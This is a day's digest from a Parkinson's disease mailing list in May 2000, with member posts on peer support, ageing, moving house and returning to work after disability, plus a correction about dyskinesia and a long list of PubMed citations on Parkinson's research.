--------------376A58629ECA7594C6EE1D11 Content-Type: text/x-vcard; charset=us-ascii; name="berger.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Sylvia Berger Content-Disposition: attachment; filename="berger.vcf" begin:vcard n:Berger;Sylvia x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:[log in to unmask] fn:Sylvia Berger end:vcard --------------376A58629ECA7594C6EE1D11-- ========================================================================= Date: Thu, 18 May 2000 11:00:35 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Sylvia Berger <[log in to unmask]> Subject: hugs MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------91C1D557FBEF9BFA837C5767" This is a multi-part message in MIME format. --------------91C1D557FBEF9BFA837C5767 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit sorry folks - I thought I'd sent the graphic in the body of the mailing - not as an attachment. Don't blame any of you for not accepting - I don't either. It was just a cute teddy bear with a sign saying 'a hug for each of you' - Sylvia --------------91C1D557FBEF9BFA837C5767 Content-Type: text/x-vcard; charset=us-ascii; name="berger.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Sylvia Berger Content-Disposition: attachment; filename="berger.vcf" begin:vcard n:Berger;Sylvia x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:[log in to unmask] fn:Sylvia Berger end:vcard --------------91C1D557FBEF9BFA837C5767-- ========================================================================= Date: Thu, 18 May 2000 13:22:51 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re-Wired for Life: a new website and org. for DBS and tremor surgery... Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ... is at: http://www.rewiredforlife.org/ janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Thu, 18 May 2000 13:42:26 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Don McKinley <[log in to unmask]> Subject: LIST:------ ?????---CITY HALL MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable TIP OF THE DAY HUM HAPPY IS THE DAY first i don,t know GREG. or what lot is up set over. he has done = nothing to upset me that I know of. or just over my head. I AMGETING = OVER LOT OF COMPLETES(FLAMING) i might of done the same. only person i = know who never does any thing wrong is my believe wife. VIVIAN. CONNIE = TATE HAS NEVER GOOFED UP MY PC. she sent a great letter to me snail = mail. i passed it on to my church. thanks CONNIE. I NEVER GOT A BUG FROM = YOU. like IVAN I took own city hall won. got L.L calls people came to = the house MAYOR. CALLED SAID ALL WILL BE TAKEN CARE OF. even our radio = talk show got in the accept. i did not know i was known so well or had = so much pull lolo oh GREG u can email me some times as i don't know = yours. not much more on meeting yet. so i will end not lot to say. be = happy with how you re making out. just show love for each of us. as to = day tomorrow we are sorry we flamed some one. DON M YOU TOO. I.Y.Q DON AND VIVIAN LOVE OF MY LIFE-55 BEST MED'T FOR PD IS HAPPINESS = =20 ========================================================================= Date: Thu, 18 May 2000 14:24:13 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: hugs Sylvia - lotza hugs back to you. You do have a lot on your plate, don't you. I have a minister friend who has macular degeneration and has had it for 5 years and he still drives. He has to have special glasses (Don't know what they are called, but maybe someone else can provde the name.) Did they put a pig's valve in your son?My husband had his mital valve replaced with a pig's valve and did beautifully. He passed away however, from another problem. He was only 47. Best wishes to you and hopefully things will begin to settle down. Jo Ann from Houston ========================================================================= Date: Thu, 18 May 2000 18:28:32 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: LIST:-----M.J.F Mime-Version: 1.0 Content-Type: text/plain; format=flowed don being good isnt much fun but i will try thanks for your posting and your optimism and your determination love judy >From: Don McKinley <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: LIST:-----M.J.F >Date: Thu, 18 May 2000 09:07:06 -0700 > >last night VIVIAN and whitish 20/20 on MJF. at times we did not know if he >was me or me or him. if lot of you that had read lo of my post over the >years you can se me. how at times he would stutter, loose what was talking >about. move his hands,arms to cover his shakes. not to ask for pity.do all >you can and then do more. how he got leg,toes cramps. how at times we can >forget things. how tough it is on the young PWP'S does not want a wheel >chair so on. how every day it is a fight to go on. he ask or wondered what >it would be like as you get older. i can put my hand on a bible and say it >does not get any easyer. i told how i put in a patio,pained,cut my grass. i >will say i do not do it much any more as i get wore out. i could do it in >4hrs now 8 if then. but still try. all of us is different. put please do >not sit and whatch t.v all day. also he and STACY HAVE THERE DIFF. he said >lot of things that where right. so if some one laugh or stare at you laugh >and stare back. we are just as good as them.so if lot wonder what i am like >and what i do just think of MJF. there is more i got or should say but not >now as i am begging to flack out. U ALL BE GOOD. > > I.Y.Q. >DON AND VIVIAN ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Thu, 18 May 2000 18:51:50 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: hugs Mime-Version: 1.0 Content-Type: text/plain; format=flowed large koala hugs from me you must feel swamped somedays much love judy >From: Sylvia Berger <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: hugs >Date: Thu, 18 May 2000 10:50:01 -0600 > >Subject: > HUGS > Date: > Thu, 18 May 2000 09:56:42 -0600 > From: > Sylvia Berger <[log in to unmask]> > To: > Parkinson's Information Exchange Network ><[log in to unmask]> > > > > >I'm not sure if this is 'netiquette' if not - sorry - I'll take ten >lashes with a >wet noodle! But I wanted to send it to say 'thanks' for the many hours >of >entertainment and information you've all given me. You're all so open, >up >front and everybody seems to have it together - not like me who's >rapidly >falling apart as one thing after another is piling up. My son, who is >is 38 >going on 6 (he's mentally handicapped) had his second open heart surgery > >in Feb - a valve replacement. He's doing well but now we find that that >my >husband probably has age related macular degeneration and is terrified >that he may lose his drivers licence (apart from the fear of going blind > >although everything I've gathered from Murrays web sites -they're useful > >for other things as well as PD - says this is unlikely to happen]Anyway >here it >is..................................a teddy bear hug for each of you! >[Hope youyou can get the graphic] >[Image] > > ><< berger.vcf >> ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Thu, 18 May 2000 12:33:34 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Charles T. Meyer, M.D." <[log in to unmask]> Subject: People Interested in Alternative Medicine MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please Note the following website: http://nccam.nih.gov/nccam/strategic/report.html An agency has been set up by the Federal Government (US) to evaluate Alternative Medicine. The National Center for Complementary and Alternative Medicine is now setting its agenda for thew next five years of research and is looking for citizen input. As most of you know I am not a fan of Alternative Medicine in most forms it is practiced. But I do feel that it needs to be researched both to find out whar is useful as well as what is dangerous and what is neither dangerous nor particularly useful. I think that this agency has the greatest possibility of accomplishing this task- both to protect the public against fraud which is rampent in this industry and inadvertent misinformation. as well In case you think that everything will be stacked against alternative medicine please read my post that follows which is an evaluation of acupuncture which to me appear fairly well balanced giving it credit where it deserves it. If you are interested in filing a comment with NIH's NCCAM please go to the website and follow instructions there. Charlie ========================================================================= Date: Thu, 18 May 2000 15:05:25 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Bruce Warr; IFSM (FACULTY)" <[log in to unmask]> Subject: Ropinerol and Dyskinesia Comments: cc: Judith Richards <[log in to unmask]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Excellent article except for one error - The lack of movement or the inability to move is bradykinesia. Dyskinesia is just the opposite - excessive involuntary movements caused by an overdose of dopamine. Ease the burden, Find the Cure Bruce ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bruce G. Warr, Ph.D. (C) "Experience is what enables us to recognize Healthcare Informatics Lab a mistake the next time we make it." Information Systems Dept. University of Maryland Baltimore County http://umbc.edu/~warr/ (V) (410)455-3206 (F) (410)455-1073 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ========================================================================= Date: Thu, 18 May 2000 19:11:11 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: The wake up call Mime-Version: 1.0 Content-Type: text/plain; format=flowed ageing constant reminders of my age exist popstars on tv whom i have no hope of remembering e.g.will smith my granddaughters rolls their eyes in mock horror the initials *mjf*.....not my era the words of the latest pop tunes more eye rolling and looks of mock horror where are the car keys i cant cut my toenails with the same elegance eyebrows get lost in the mirror my doctors pronouncement that the beauty spots on my face were indeed senile warts ...can you believe it however inside the mirrors image is a young beautiful agile and sexy lady whom age has not withered ..ready for most things or thats what i keep saying to myself hope the new apartement is suitable chuck no stairs is a great thing lifes a great adventure if one can keep up with it judy >From: Charles E Murray <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: The wake up call >Date: Thu, 18 May 2000 06:51:14 -0700 > >Has anyone else on the list ever wondered if the aging of our bodies is >God's way of reminding us we only have so much time to get our mission >completed? > >I know if it wasn't for mirrors, and now the relatively rapid aging >effects of PD, I would be surprised each time someone asks me if I want >the seniors discount. On this list, with the anonymity of the written >word, there is little sense of age at all, and I suspect that all of you >share my lack of personal awareness of age, at least while you lie in bed >with meds working well. > >With each passing year the whole concept of time blurs, and my life takes >on the character of a big family album. I need only open to the right >page and I am looking at my daughters in the crib, instead of standing by >their sides looking down at my grandchildren in their cribs, Oops, now >those grandchildren are getting ready for their first date, the page >turned. Einstein or someone like that said time is an illusion, a >construct of our minds, and I've come to agree by noticing that half my >life went by divided in equal time periods into the time it took to raise >a family and one trip to the dentist for wisdom teeth extraction. > >Pat and I spent yesterday and last night boxing our stuff for the movers >who come this morning to take us from this three story endurance test to >a single level home in the senior zoned section of our city (how neat to >go from being the old folks on the block to the youngsters one last >time). By the time we crawled into bed both of us knew our age, but as >to Parkie, I am grateful to report I made it up and down those stairs at >least a third as many times as I would have in the past, and I actually >carried some stuff in the process. > >But back to the subject. This morning I woke thinking (sometime >dangerous for my well being) that God and my soul must think I need a 4 >alarm wake up call, a loud, obnoxious, and ever present Road Sign called >Parkinson's with a message in such big letters that even I can't remain >oblivious: "GET ON WITH IT CHUCK." Wish I knew for sure what IT is >suppose to be. > >Love >Chuck ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Thu, 18 May 2000 15:25:01 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Bruce Warr; IFSM (FACULTY)" <[log in to unmask]> Subject: The Wake-up Call Comments: cc: Charles E Murray <[log in to unmask]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII My personal viewpoint is that everyday is a wake-up call. Although it does no good to worry about the future we still need definite goals in life regardless of how long we have lived. Life is a process of becoming, it is a journey, not a destination. As we achieve our goals we need to replace them with others, otherwise we have a tendency to curl up and die. We not only need to remain physically active but mentally, emotionally, and spiritually as well Ease the Burden, Find the Cure Bruce ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bruce G. Warr, Ph.D. (C) "Experience is what enables us to recognize Healthcare Informatics Lab a mistake the next time we make it." Information Systems Dept. University of Maryland Baltimore County http://umbc.edu/~warr/ (V) (410)455-3206 (F) (410)455-1073 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ========================================================================= Date: Thu, 18 May 2000 12:47:51 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Juanita Hibbert <[log in to unmask]> Subject: Re: hugs In-Reply-To: Sylvia Berger <[log in to unmask]>'s message of Thu, 18 May 2000 11:00:35 -0600 Content-Type: Text/Plain; Charset=US-ASCII Content-Transfer-Encoding: 7Bit MIME-Version: 1.0 (WebTV) I received the teddy bear in the body plus an attachment. Ineeded that Hug today. Thanks. Juanita CG for George 74 dx 98 ========================================================================= Date: Thu, 18 May 2000 16:14:39 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Returning to work after disability? Comments: cc: CARE list <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" A friend is curious whether any PWPS who had applied for and received disability approval then decided to try to return to work? Apparently some insurance companies do allow a trial period of several months in such a situation before eligibility is lost. If any of you have had experience with this, please let me know. Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html ========================================================================= Date: Thu, 18 May 2000 13:22:08 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: Re: The wake up call MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit You said, hope the new apartment is suitable chuck no stairs is a great thing Actually it is a modest 3 BR house, but the backyard is adjacent to the second green at my golf club. I can't wait to step over the little redwood fence (less that one meter high) and practice short shots in the evenings, maybe even play a few holes. This senior small town within the city (It has its own ordinances, one of which is that emergency vehicles must turn sirens off when enering Kern City, as its called), has a population of just a thousand or so people. Love Chuck ========================================================================= Date: Thu, 18 May 2000 17:14:30 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Sandra Norris <[log in to unmask]> Subject: Re: Returning to work after disability? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi Camilla, Yes I was awarded disability and tried going back to work for awhile. I was almost penalized for the time I worked. After my situation was evaluated social security decided not to ask for a return of funds. I did try working for a year, but then the pd was becoming debilitating to the point there was no ONE day alike. I have not worked for 7 years now. Hope this helps. Sandra Norris "Faith is the daring of the soul to go farther than it can see." ========================================================================= Date: Thu, 18 May 2000 14:33:05 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Gordon Seese <[log in to unmask]> Subject: Don McKinley Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I liked that statement, Don,"WE are just as good as them".Your comments, as usual, are very thoughtful ..Regards, Thea and Gordon Seese ========================================================================= Date: Thu, 18 May 2000 17:49:35 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: PubMed update: PMID abstracts from last 30 days: part 1 of 2 Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" 2000/05/18 163 pubmed search results Receptors in neurodegenerative diseases. Froestl W. Pharm Acta Helv. 2000 Mar;74(2-3):247-51. PMID: 10812965; UI: 20272845 Excitatory amino acid agonists and antagonists Trist DG. Pharm Acta Helv. 2000 Mar;74(2-3):221-9. PMID: 10812962; UI: 20272842 Altinicline (SIB-1508Y), a novel agonist. Cosford ND, Bleicher L, Vernier JM, Chavez-Noriega L, Pharm Acta Helv. 2000 Mar;74(2-3):125-30. PMID: 10812948; UI: 20272828 Nicotinic systems in central nervous systems disease Newhouse PA, Kelton M. Pharm Acta Helv. 2000 Mar;74(2-3):91-101. PMID: 10812945; UI: 20272825 Energetic adaptation to chronic disease in the elderly. Toth MJ, Poehlman ET. Nutr Rev. 2000 Mar;58(3 Pt 1):61-6. PMID: 10812919; UI: 20272799 Anorectal function in early and late stage PD Bassotti G, Maggio D, Battaglia E, Giulietti O, J Neurol Neurosurg Psychiatry. 2000 Jun;68(6):768-770. PMID: 10811703 Dopamine agonists: their role in the treatment of PD Brooks DJ. J Neurol Neurosurg Psychiatry. 2000 Jun;68(6):685-689. No abstract available. PMID: 10811688 Porcine xenografts in PD and Huntington's disease Fink JS, Schumacher JM, Ellias SL, Palmer EP, Cell Transplant. 2000 Mar-Apr;9(2):273-8. PMID: 10811399; UI: 20269536 Intrastriatal ventral mesencephalic xenografts of porcine tissue in rats Larsson LC, Czech KA, Brundin P, Widner H. Cell Transplant. 2000 Mar-Apr;9(2):261-72. PMID: 10811398; UI: 20269535 Embryonic mesencephalic, dopaminergic tissue grafted to a minipig model of PD Danielsen EH, Cumming P, Andersen F, Bender D, Cell Transplant. 2000 Mar-Apr;9(2):247-59. PMID: 10811397; UI: 20269534 Neural tissue xenotransplantation: what is needed prior to clinical trials in PD Barker RA, Kendall AL, Widner H. Cell Transplant. 2000 Mar-Apr;9(2):235-46. PMID: 10811396; UI: 20269533 Implication of the subthalamic nucleus in PD Benazzouz A, Piallat B, Ni ZG, Koudsie A, Pollak P, Benabid AL. Cell Transplant. 2000 Mar-Apr;9(2):215-21. PMID: 10811394; UI: 20269531 Complex sensorimotor behavioral changes after transplantation Rodter A, Winkler C, Samii M, Nikkhah G. Cell Transplant. 2000 Mar-Apr;9(2):197-214. PMID: 10811393; UI: 20269530 Improving the survival of grafted dopaminergic neurons Brundin P, Karlsson J, Emgard M, Schierle GS, Cell Transplant. 2000 Mar-Apr;9(2):179-95. PMID: 10811392; UI: 20269529 Sleep and periodic leg movement patterns in drug-free patients with PD Wetter TC, Collado-Seidel V, Pollmacher T, Yassouridis A, Sleep. 2000 May 1;23(3):361-7. PMID: 10811380; UI: 20269517 COMT in parkinsonian patients with "on-off fluctuations". Woitalla D, Karwasz R, Muller T, Przuntek H, Kuhn W. J Neural Transm. 2000;107(1):105-11. PMID: 10809408; UI: 20267405 Effects of apomorphine on visual functions in PD Buttner T, Muller T, Kuhn W. J Neural Transm. 2000;107(1):87-94. PMID: 10809406; UI: 20267403 Risk factors for dementia, depression and psychosis in long-standing PD Giladi N, Treves TA, Paleacu D, Shabtai H, J Neural Transm. 2000;107(1):59-71. PMID: 10809404; UI: 20267401 Altered redox state of platelet coenzyme Q10 in PD Gotz ME, Gerstner A, Harth R, Dirr A, J Neural Transm. 2000;107(1):41-8. PMID: 10809402; UI: 20267399 Involvement of alpha-synuclein in PD Kruger R, Muller T, Riess O. J Neural Transm. 2000;107(1):31-40. PMID: 10809401; UI: 20267398 Cell death mechanisms in PD Jellinger KA. J Neural Transm. 2000;107(1):1-29. PMID: 10809400; UI: 20267397 Depression in PD Allain H, Schuck S, Mauduit N. BMJ. 2000 May 13;320(7245):1287-1288. No abstract available. PMID: 10807601 D-beta -Hydroxybutyrate protects neurons in models of PD Kashiwaya Y, Takeshima T, Mori N, Nakashima K, Proc Natl Acad Sci U S A. 2000 May 9;97(10):5440-5444. PMID: 10805800 Levodopa-induced dyskinesias in PD: is sensitization reversible? Bejjani BP, Arnulf I, Demeret S, Damier P, Ann Neurol. 2000 May;47(5):655-8. PMID: 10805339; UI: 20263089 Alpha-synuclein and PD Forloni G, Bertani I, Calella AM, Thaler F, Invernizzi R. Ann Neurol. 2000 May;47(5):632-40. PMID: 10805334; UI: 20263084 PD: affection of brain stem nuclei and the somatomotor system. Braak H, Rub U, Sandmann-Keil D, Gai WP, Acta Neuropathol (Berl). 2000 May;99(5):489-95. PMID: 10805091; UI: 20262841 The effect of amantadine on levodopa-induced dyskinesias in PD Snow BJ, Macdonald L, Mcauley D, Wallis W. Clin Neuropharmacol. 2000 Mar-Apr;23(2):82-5. PMID: 10803797; UI: 20260942 A home diary to assess functional status in patients with PD Hauser RA, Friedlander J, Zesiewicz TA, Adler CH, Clin Neuropharmacol. 2000 Mar-Apr;23(2):75-81. PMID: 10803796; UI: 20260941 Transderm-induced psychosis in PD Quinn N, Minagar A, Shulman LM, Weiner WJ. Neurology. 2000 May 9;54(9):1877. No abstract available. PMID: 10802809; UI: 20264475 Bimanual self-paced motor task in PD Fattapposta F, Pierelli F, Traversa G, My F, Clin Neurophysiol. 2000 May 1;111(5):873-883. PMID: 10802459 Tremor-correlated cortical activity detected by electroencephalography. Hellwig B, Hausler S, Lauk M, Guschlbauer B, Koster B, Clin Neurophysiol. 2000 May 1;111(5):806-809. PMID: 10802450 (ACE) inhibitor, perindopril, modifies clinical features of PD Reardon KA, Mendelsohn FA, Chai SY, Horne MK. Aust N Z J Med. 2000 Feb;30(1):48-53. PMID: 10800878; UI: 20258816 Naloxone prevents degeneration of dopaminergic neurons in rats. Lu X, Bing G, Hagg T. Neuroscience. 2000 Apr 1;97(2):285-291. PMID: 10799760 Protective effect of L-Deprenyl against apoptosis Suuronen T, Kolehmainen P, Salminen A. Biochem Pharmacol. 2000 Jun 1;59(12):1589-1595. PMID: 10799657 The association between parkinsonism, Alzheimer's disease, and mortality Mitchell SL, Rockwood K. J Am Geriatr Soc. 2000 Apr;48(4):422-5. PMID: 10798470; UI: 20256328 Determination of drugs used as anti-PD drugs in urine and serum Vargas G, Havel J, Babackova L, Patocka J. J Capillary Electrophor. 1998 May-Aug;5(3-4):153-8. PMID: 10797881; UI: 20258216 Lisuride for levodopa-induced complications in PD Clarke C E, Speller J M. Cochrane Database Syst Rev. 2000;2:CD001515. PMID: 10796801 Lisuride versus bromocriptine for levodopa-induced complications in PD Clarke C E, Speller J M. Cochrane Database Syst Rev. 2000;2:CD001514. PMID: 10796800 Bromocriptine for levodopa-induced motor complications in PD Hilten JJ va, Ramaker C, Beek WJT Van de, Finken MJ. PMID: 10796755 Pergolide vs bromocriptine for levodopa-induced motor complications in PD Clarke C E, Speller J M. Cochrane Database Syst Rev. 2000;2:CD000236. PMID: 10796705 Pergolide for levodopa-induced complications in PD Clarke C E, Speller J M. Cochrane Database Syst Rev. 2000;2:CD000235. PMID: 10796704 Posteroventral pallidotomy in PD Herrera EJ, Viano JC, Caceres M, Costello G, Acta Neurochir (Wien). 2000;142(2):169-75. PMID: 10795891; UI: 20254908 The role of iron in PD and MPTP toxicity. Yantiri F, Andersen JK. IUBMB Life. 1999 Aug;48(2):139-41. PMID: 10794588; UI: 20252581 Promotion of fetal tissue graft survival with GDNF in PD Mendez I, Dagher A, Hong M, Hebb A, J Neurosurg. 2000 May;92(5):863-9. PMID: 10794303; UI: 20252277 Increased responsivity of glutamate release from the substantia nigra in rats Marti M, Sbrenna S, Fuxe K, Bianchi C, Eur J Neurosci. 2000 May;12(5):1848-1850. PMID: 10792462 Protection against dopaminergic cell death by excitatory input ablation. Takada M, Matsumura M, Kojima J, Yamaji Y, Eur J Neurosci. 2000 May;12(5):1771-1780. PMID: 10792454 MPTP selectively induces haem oxygenase-1 expression in striatal astrocytes. Fernandez-Gonzalez A, Perez-Otano I, Morgan JI. Eur J Neurosci. 2000 May;12(5):1573-1583. PMID: 10792435 Remote memory impairment in Alzheimer's disease and PD Fama R, Sullivan EV, Shear PK, Stein M, Neuropsychology. 2000 Apr;14(2):265-76. PMID: 10791866; UI: 20250528 Working memory in medicated and non-medicated PD patients Fournet N, Moreaud O, Roulin JL, Naegele B, Neuropsychology. 2000 Apr;14(2):247-53. PMID: 10791864; UI: 20250526 Recognition memory impairment in PD Whittington CJ, Podd J, Kan MM. Neuropsychology. 2000 Apr;14(2):233-46. PMID: 10791863; UI: 20250525 janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Thu, 18 May 2000 17:47:32 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: PubMed update: PMID abstracts from last 30 days: part 2 of 2 Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Therapeutic effect of repetitive transcranial magnetic stimulation in PD Shimamoto H, Morimitsu H, Sugita S, Nakahara K, Rinsho Shinkeigaku. 1999 Dec;39(12):1264-7. PMID: 10791094; UI: 20251690 Molecular mechanism of monoamine toxicity in PD Jimenez del Rio M, Velez-Pardo C. Med Hypotheses. 2000 Feb;54(2):269-74. PMID: 10790763; UI: 20253830 The toxic mind: the biology of mental illness and violence. Van Winkle E. Med Hypotheses. 2000 Jan;54(1):146-56. PMID: 10790741; UI: 20250365 New animal models for Parkinson's disease. Dawson TM. Cell. 2000 Apr 14;101(2):115-8. Review. No abstract available. PMID: 10786830; UI: 20246502 Pharmaceutical target discovery: PD and schizophrenia genes. Walker MG, Volkmuth W, Klingler TM. Ismb. 1999;:282-6. PMID: 10786311; UI: 20248035 Cardiovascular autonomic dysfunction in PD Mathias CJ. Clin Neurosci. 1998;5(2):153-66. Review. PMID: 10785842; UI: 20247548 Visuo-cognitive dysfunctions in PD Antal A, Bandini F, Keri S, Bodis-Wollner I. Clin Neurosci. 1998;5(2):147-52. Review. PMID: 10785841; UI: 20247547 Gastrointestinal dysfunction in PD Pfeiffer RF. Clin Neurosci. 1998;5(2):136-46. Review. PMID: 10785840; UI: 20247546 Respiratory function in PD Shill H, Stacy M. Clin Neurosci. 1998;5(2):131-5. Review. PMID: 10785839; UI: 20247545 Neurophysiology of sensorimotor integration in PD Rossini PM, Filippi MM, Vernieri F. Clin Neurosci. 1998;5(2):121-30. Review. PMID: 10785838; UI: 20247544 Imaging of nonmotor symptoms in Parkinson syndromes. Paulus W, Trenkwalder C. Clin Neurosci. 1998;5(2):115-20. Review. PMID: 10785837; UI: 20247543 Sleep dysfunction in PD Trenkwalder C. Clin Neurosci. 1998;5(2):107-14. Review. PMID: 10785836; UI: 20247542 Visual dysfunction in PD Rodnitzky RL. Clin Neurosci. 1998;5(2):102-6. Review. PMID: 10785835; UI: 20247541 Olfactory dysfunction in PD Wszolek ZK, Markopoulou K. Clin Neurosci. 1998;5(2):94-101. Review. PMID: 10785834; UI: 20247540 Behavioral dysfunction in PD Friedman JH. Clin Neurosci. 1998;5(2):87-93. Review. PMID: 10785833; UI: 20247539 Urinary dysfunction in PD Singer C. Clin Neurosci. 1998;5(2):78-86. Review. PMID: 10785832; UI: 20247538 Sexual dysfunction in PD Lambert D, Waters CH. Clin Neurosci. 1998;5(2):73-7. Review. PMID: 10785831; UI: 20247537 Pain in PD Ford B. Clin Neurosci. 1998;5(2):63-72. Review. PMID: 10785830; UI: 20247536 CP-101,606, an Antagonist of NR2B Subunit-Containing N-Methyl-d-Aspartate Receptors. Steece-Collier K, Chambers LK, Jaw-Tsai SS, Menniti FS, Exp Neurol. 2000 May;163(1):239-243. PMID: 10785463 125I-CGP 64213 Binding to GABA(B) Receptors in the Brain of Monkeys Calon F, Morissette M, Goulet M, Grondin R, Exp Neurol. 2000 May;163(1):191-199. PMID: 10785458 GDNF and NT-4 Protect Dopaminergic Neurons from Damage by Iron and Nitric Oxide. Lingor P, Unsicker K, Krieglstein K. Exp Neurol. 2000 May;163(1):55-62. PMID: 10785444 An Altered Histaminergic Innervation of the Substantia Nigra in PD Anichtchik OV, Rinne JO, Kalimo H, Panula P. Exp Neurol. 2000 May;163(1):20-30. PMID: 10785440 PD impairs the ability to change set quickly. Chong RK, Horak FB, Woollacott MH. J Neurol Sci. 2000 Apr 1;175(1):57-70. PMID: 10785258 Early differentiation of PD and MSA with I-123-MIBG-SPECT. Druschky A, Hilz MJ, Platsch G, Radespiel-Troger M, J Neurol Sci. 2000 Apr 1;175(1):3-12. PMID: 10785250 VIP relevance to neuroprotection in PD Offen D, Sherki Y, Melamed E, Fridkin M, Brain Res. 2000 Jan 31;854(1-2):257-62. PMID: 10784133; UI: 20244719 GDNF and increased survival of dopaminergic neurons in fetal grafts Espejo M, Cutillas B, Arenas TE, Ambrosio S. Cell Transplant. 2000 Jan-Feb;9(1):45-53. PMID: 10784066; UI: 20244652 Effect of swallowing training on swallowing disorders in PD Nagaya M, Kachi T, Yamada T. Scand J Rehabil Med. 2000 Mar;32(1):11-5. PMID: 10782935; UI: 20243029 Structural changes in substantia nigra in PD revealed by MR imaging. Hutchinson M, Raff U. AJNR Am J Neuroradiol. 2000 Apr;21(4):697-701. PMID: 10782780; UI: 20242874 Effects of L-DOPA and the D1 agonist SKF 82958 in monkey model. Andringa G, Lubbers L, Drukarch B, Stoof JC, Behav Pharmacol. 1999 Mar;10(2):175-82. PMID: 10780830; UI: 20241742 Effects of D2 agonist quinpirole and D1 agonist SKF 81297 in monkey model. Andringa G, Vermeulen RJ, Drukarch B, Renier WO, Behav Pharmacol. 1999 Mar;10(2):163-73. PMID: 10780829; UI: 20241741 COMT inhibition in PD: rationale and clinical relevance. Deleu D. Acta Neurol Belg. 2000 Mar;100(1):5-7. No abstract 